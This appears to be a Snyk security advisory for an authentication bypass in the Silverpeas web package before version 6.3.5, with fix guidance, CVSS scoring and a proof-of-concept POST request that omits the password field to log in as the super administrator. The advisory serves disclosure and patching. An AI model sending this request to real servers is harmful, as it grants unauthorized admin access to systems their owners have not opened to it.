Improper Authentication Affecting org.silverpeas.core:silverpeas-core-web package, versions [,6.3.5)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

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  • Snyk ID SNYK-JAVA-ORGSILVERPEASCORE-7210307
  • published 5 Jun 2024
  • disclosed 3 Jun 2024
  • credit Unknown

How to fix?

Upgrade org.silverpeas.core:silverpeas-core-web to version 6.3.5 or higher.

Overview

org.silverpeas.core:silverpeas-core-web is a WEB platform that improves the collaboration between the actors of a company or organization.

Affected versions of this package are vulnerable to Improper Authentication via the AuthenticationServlet. An attacker can gain unauthorized access and potentially obtain superadmin privileges by omitting the Password field during the authentication process.

PoC


POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&DomainId=0

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    None